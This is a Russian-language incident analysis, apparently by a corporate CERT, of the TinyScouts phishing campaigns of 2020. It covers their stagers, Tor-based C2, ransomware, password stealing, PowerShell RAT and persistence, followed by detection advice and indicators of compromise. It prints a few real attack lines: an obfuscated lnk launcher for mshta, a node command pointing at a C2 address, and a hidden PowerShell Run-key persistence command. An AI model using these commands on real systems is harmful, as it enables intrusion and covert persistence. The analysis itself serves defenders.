Rat

Какое-то время назад мы начали фиксировать попытки заражения инфраструктур наших заказчиков ранее не известным вредоносным ПО. Оно доставлялось пользователям через фишинговые рассылки, иногда посвященные второй волне коронавируса, а иногда четко заточенные под атакуемую организацию и связанные с ее деятельностью. Злоумышленники выдавали себя за различные существующие компании, например, Норильский Никель, Российский союз промышленников и предпринимателей, Финаудитсервис и т.д.



Примечательными были два аспекта деятельности группировки: во-первых, высокий уровень технических навыков злоумышленников, а во-вторых вариабельность сценария атаки. Если ты как жертва не интересен украдут пароли и зашифруют данные, а вот если твоя машина в интересном домене и имеет потенциал для более интересного развития атаки загрузят Remote Admin Tool (RAT), написанный на PowerShell. Мы назвали группировку TinyScouts по именам функций из вредоносного кода. В статье мы расскажем о двух ее последних кампаниях, которые условно можно разделить по месяцам июль и август 2020 года, и сделаем полный разбор инструментов и сценариев TinyScouts.

Июльская кампания. Direct download

В июле вредонос распространялся в виде lnk-файла, который выполнял следующую команду:

%comspec% /v /c set m=m^s^h^ta && set a=AKT-F^inAudit^Service.^docx.l^nk && if exist "!cd!\!a!" (!m! "!cd!\!a!") else (!m! !temp!\Temp1_А^ктСве^рки.z^ip\!a!)

В результате запуска mshta.exe происходило выполнение обфусцированного JS-скрипта. Его задача извлечь из тела lnk-файла документ для отвлечения внимания, открыть его через rundll32.exe и запустить обфусцированную команду PowerShell. Фрагмент скрипта после деобфускации приведен ниже:



Скрипт в переменной toexecute загружает и запускает еще один обфусцированный PowerShell-скрипт c именем Decide (запрос к decide.php). Пример обфускации ниже:



Задача данного скрипта проверить компьютер на соответствие некоторым параметрам и скачать следующую нагрузку с серверов. Фрагмент деобфусцированного кода приведен ниже:



Проверяется наличие TeamViewer, RDP сессий и факт вхождения в домен для того, чтобы определить, какую нагрузку необходимо скачать. В случае интересной системы загружается RAT, иначе шифровальщик. В обоих случаях это обфусцированные в несколько слоев скрипты.

Августовская кампания (продолжается). Tor Hidden Services

В начале августа схема распространения изменилась: теперь в письмах была ссылка на скачивание sfx-архива, который содержит 4 файла:

document.doc. Документ, который открывается для отвлечения внимания и не несет вредоносной нагрузки.
7za.exe. 7z- архиватор.
wget.exe. Оригинальная утилита wget.
service. JS-скрипт Stager 1

При запуске sfx-архива происходят следующие действия:

1) открывается document.doc
2) с помощью wget и 7z скачивается и распаковывается TOR и node.exe по следующим ссылкам:
www.torproject.org/dist/torbrowser/9.5.1/tor-win32-0.4.3.5.zip
nodejs.org/dist/latest-carbon/win-x86/node.exe
3) с помощью node.exe запускается скрипт Stager 1:
C:\Windows\System32\cmd.exe" /c if not exist hostname (node service 192.248[.]165.254)

Ниже представлен деобфусцированный скрипт Stager 1:



Скрипт service получает в качестве аргумента адрес сервера управления и при запуске создает TOR Hidden Service (http://personeltest.ru/aways/2019.www.torproject.org/docs/onion-services). Стоит отметить, что при запуске скрытого сервиса TOR генерируется его имя (оно схоже с именем обычного ресурса в сети TOR, например, vkss134jshs22yl3li2ul.onion). Далее скрипт отправляет сгенерированное имя Hidden Service злоумышленнику и поднимает локальный веб-сервер. В дальнейшем общение злоумышленника с зараженной системой происходит в режиме запрос/ответ к веб-серверу (строка 19 в коде), где в запросах передается код для выполнения, а в ответах результаты.

Такая архитектура позволяет злоумышленнику получить доступ к зараженной системе, даже если она находится за NAT (главное условие наличие интернета), и делает необязательным знание белого IP-адреса жертвы.

Первым запросом к поднятому web-серверу приходит скрипт Decider, задача которого заключается в определении факта вхождения компьютера в домен, а также получении имени пользователя. На этот раз проверки наличия TeamViewer и RDP отсутствуют:



После того как злоумышленнику будут отправлены результаты работы скрипта Decider, в сторону заражённой системы приходит веб-запрос, содержащий либо шифровальщик, либо RAT в зависимости от интереса злоумышленника.

Общие модули в обеих кампаниях

Скрипт Stager 3

Основной скрипт содержит в себе 5 компонентов, закодированных в base64:
шифровальщик Encryptor
файл Readme с сообщением от злоумышленников
утилита WebBrowserPassView
утилита Mail PassView
Injector. Исполняемый файл, используемый для инжектирования WebBrowserPassView и Mail PassView в процесс svchost. Инжектирование выполняется обычным методом RunPE.

Функции скрипта Stager 3:

1) Запуск шифровальщика (функция Get-Stuff)
Ниже приведен фрагмент кода скрипта с запуском шифровальщика:



2) Обход UAC (для удаления теневых копий)
В коде присутствуют три техники: с помощью csmtp.exe, CompMgmtLauncher.exe и fodhelper.exe. Почитать про них можно здесь, здесь и здесь.

3) Удаление теневых копий

4) Запуск WebBrowserPassView и Mail PassView
Это утилиты от Nirsoft для извлечения паролей из браузеров и почтовых клиентов соответственно.





5) Отправка на сервер управления отчетов вышеупомянутых утилит.
Перед отправкой отчеты шифруются алгоритмом RC4 со сгенерированным ключом (4 символа):



Сам ключ помещается в начало сообщения:

Шифровальщик Encryptor

Сообщение readme выглядит следующим образом:



Шифровальщик представляет собой исполняемый файл .NET без какой-либо обфускации. Файлы шифруются алгоритмом AES. Для каждого файла генерируется отдельный ключ и вектор инициализации, который затем шифруется с помощью публичного ключа RSA и помещается в зашифрованный файл. Главная функция шифровальщика приведена ниже:

RAT

Данный скрипт имеет несколько слоев обфускации. После расшифрования может выполнять следующие команды:
delete самоудаление
exec выполнение команды PowerShell
download загрузка файла
set_wait_time изменить частоту запроса команд
update_tiny обновление RAT
run_module выполнить блок PowerShell-команд
add_persist_module добавить в систему модуль PowerShell, который будет выполняться при каждом запуске RAT.
remote_persist_module удалить модуль из списка автозагрузки RAT.

Деобфусцированная функция обработки команд приведена ниже:

Способ закрепления

Для закрепления используются два ключа:

1) HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. В этот ключ помещается следующая команда (строка деобфусцирована):
cmd /c PowerShell -windowstyle hidden -nop -c iex (Get-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Windows -Name <client_id>

2) HKCU\SOFTWARE\Microsoft\Windows. Здесь хранится скрипт в значении с именем client_id. Таким образом, при запуске системы команда из Run ключа читает и запускает скрипт отсюда.
client_id строка формата AppX + base64(hostname+username+campaign_id)

Функция закрепления выглядит следующим образом:



Расшифрованный скрипт, который помещается в Run:



Стоит обратить внимание, что код вредоноса не хранится ни на диске, ни в реестре: каждый раз он загружается заново вышеуказанным скриптом.

Команда add_persist_module

RAT имеет возможность добавлять PowerShell-модули, которые будут запускаться при каждом запуске. Для этого используется отдельный ключ реестра, в котором хранятся идентификаторы модулей. Во время запуска этот ключ проверяется, и вредонос делает запрос на сервер, скачивая все модули по их идентификаторам.



При запуске вредоноса запускается функция Load-AllPersistModules для запуска всех добавленных модулей:



Код модулей тоже не хранится ни на диски, ни в реестре, как и основное тело RAT.

Взаимодействия с сервером

В код вшита константа CampaignID, которая используется при регистрации RAT при запуске (функция register-tiny) в качестве ключа шифрования. Алгоритм шифрования RC4. После отправки первичной информации о системе в ответе сервера содержится ключ шифрования, который будет использоваться в дальнейшем с тем же алгоритмом.

Технические аспекты обнаружения данных кампаний

Отвечая на вопрос, как детектировать то или иное, мы стараемся разделять все правила на две большие группы:
детект общесистемных аномалий,
детект аномалий под конкретную компанию/семейство/инструмент.

Детект общесистемных аномалий

Взаимодействие с промежуточными серверами и СnС:
В июльской кампании в части обнаружения и блокировки данной активности достаточно внести IP-адреса и доменные имена в списки блокировок, при этом не забыв поставить на мониторинг попытки обращения к ним.

В августовский компании с аспектом сетевого обнаружения стало сложнее, и тут стоит обратить внимание вот на что:

Мы по-прежнему можем заблокировать и вынести часть IP-адресов и доменных имен на мониторинг;
Наличие сетевой активности через TOR заставляет нас хранить и динамически обновлять списки IP-адресов, участвующих в построении этой сети. И тут для нас детектирующим правилом может быть обращение к IP-адресу из сети TOR;
В классическом варианте, если веб-сервер стоит внутри инфраструктуры (у нас в случае с Stager 1 именно так), с точки зрения правил межсетевого экранирования SYN-флаг TCP-сессии приходит снаружи. В случае с TOR Hidden Service это не так. Там в игру вступают так называемые rendezvous point места встречи (по указанной выше ссылке есть все подробности) благодаря которым SYN-флаг TCP-сессии приходит изнутри, и простая блокировка входящих соединений не сработает.

Для обеих кампаний будет достаточно неплохо работать набор из IDS-правил, которые направлены на обнаружение используемых специфичных методов PowerShell или их Base64 преобразованного вида.

Запуск кода на конечной системе
В качестве источника событий могут выступать два источника Windows Audit и Sysmon.

Журнал PowerShell Script Block Logging

Журнал, в который попадают записи о запускаемых PowerShell-скриптах. Расположен по следующему пути: Appilication and Sevices Logs > Microsoft > Windows > Powershell > Operational.

Правила детекта, направленные на обнаружение используемых специфичных методов PowerShell, хорошо справятся с задачей обнаружения активности данных кампаний.

Журнал Security (или Sysmon)

Запуски процессов 4648 (1)

Для детектирования данной активности необходимы классические правила по детектированию аномалий в отношении процессов отец-> ребенок. Данные связки хорошо отслеживаются в процессе запуска на хосте: сmd->mshta, cmd->powershell, mshta->powershell, rar->rundll32, node->wmic

Также может помочь правило по отслеживанию подозрительных параметров запуска процессов: powershell -e base64

Сетевое соединение процессов 5156 (3)

Правило по детектированию сетевого соединения от процесса PowerShell на белые IP-адреса должно помочь обнаружить данную активность.

Также при августовской кампании хорошо помогут правила по детектированию внутреннего проксирования траффика на 127.0.0.1 (именно это делает TOR и local web server).

Запись в реестр 4657 (13)

RAT, написанный на PowerShell сохраняет присутствие через распространенную ветку реестра HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, а значит, правило для мониторинга записи по этому пути наш вариант.

Детект попыток обхода технологии UAC: изменения в следующих ветках реестра HKCU\Software\Classes\mscfile\shell\open\command, HKCU\Software\Classes\ms-settings\shell\open\command, HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ICM\Calibration

Детект аномалий под конкретную компанию/семейство/инструмент

Запуск кода на конечной системе

Запуски процессов 4648 (1)

Тут необходимо правило по отслеживанию подозрительных параметров запуска процессов: C:\Windows\System32\cmd.exe" /c if not exist hostname (node service )
Запись в реестр 4657 (13)

RAT, написанный на PowerShell, также сохраняет присутствие через ветку реестра HKCU\SOFTWARE\Microsoft\Windows, а значит, для обнаружения нам необходимо отслеживать запись значения client_id по этому пути.

Индикаторы компрометации:

a9a282a11a97669d96cce3feaeaaa13051d51880
8b20babe972f580f1b8f4aca4f7724f7866a595a
ba7b1f2a9feb6b5b0ebc15620b38f8311a67c017
2c687d52cc76990c08ec8638399f912df8fb72de
c19b68e4b1cb251db194e3c0b922e027f9040be3
a2d4b0914d164f2088130bee3cdcf4e5f4765c38
18a28811dbbcc97757091ddb3e3ab6982b0bbfc9
192.248.165[.]254
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/raw_stat/stat_launch.php
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/raw_stat/stat_fin.php
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/web/index.php?r=bag
https[://]hello.tyvbxdobr0.workers[.]dev
https[://]curly-sound-d93e.ygrhxogxiogc.workers[.]dev
https[://]old-mud-23cb.tkbizulvc.workers[.]dev
https[://]odd-thunder-c853.tkbizulvc.workers.dev/
http[://]45.61.138[.]170

Авторы поста:
Игорь Залевский, руководитель отдела расследования киберинцидентов JSOC CERT
Аскер Джамирзе, эксперт по техническому расследованию отдела JSOC CERT